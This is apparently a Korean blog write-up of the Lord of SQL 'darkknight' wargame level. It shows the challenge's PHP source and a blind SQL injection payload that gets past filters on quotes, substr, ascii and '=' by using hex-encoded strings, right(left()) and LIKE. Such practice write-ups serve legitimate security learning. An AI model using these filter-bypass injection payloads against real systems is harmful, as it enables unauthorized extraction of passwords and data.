query : select id from prob_darkknight where id='guest' and pw='' and no=
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
blind sqli 문제입니다. no 파라미터에 substr, ascii, =를 필터링하고 있습니다. 또 pw 파라미터에 싱글쿼터를 필터링하고 있습니다.
이전 문제와 같지만 싱글쿼터가 필터링 중이니 string 문자열을 hex encoding하여 페이로드를 작성합시다.
?no=1||id like 0x61646d696e%26%26right(left(pw,1),1)like(0x41)%23
payload
'Web > LOS (Lord of SQL)' 카테고리의 다른 글
los(lord of sql) level 14 - giant (0) | 2018.08.22 |
---|---|
los(lord of sql) level 13 - bugbear (0) | 2018.08.21 |
los(lord of sql) level 11 - golem (0) | 2018.08.21 |
los(lord of sql) level 10 - skeleton (0) | 2018.08.21 |
los(lord of sql) level 9 - vampire (0) | 2018.08.21 |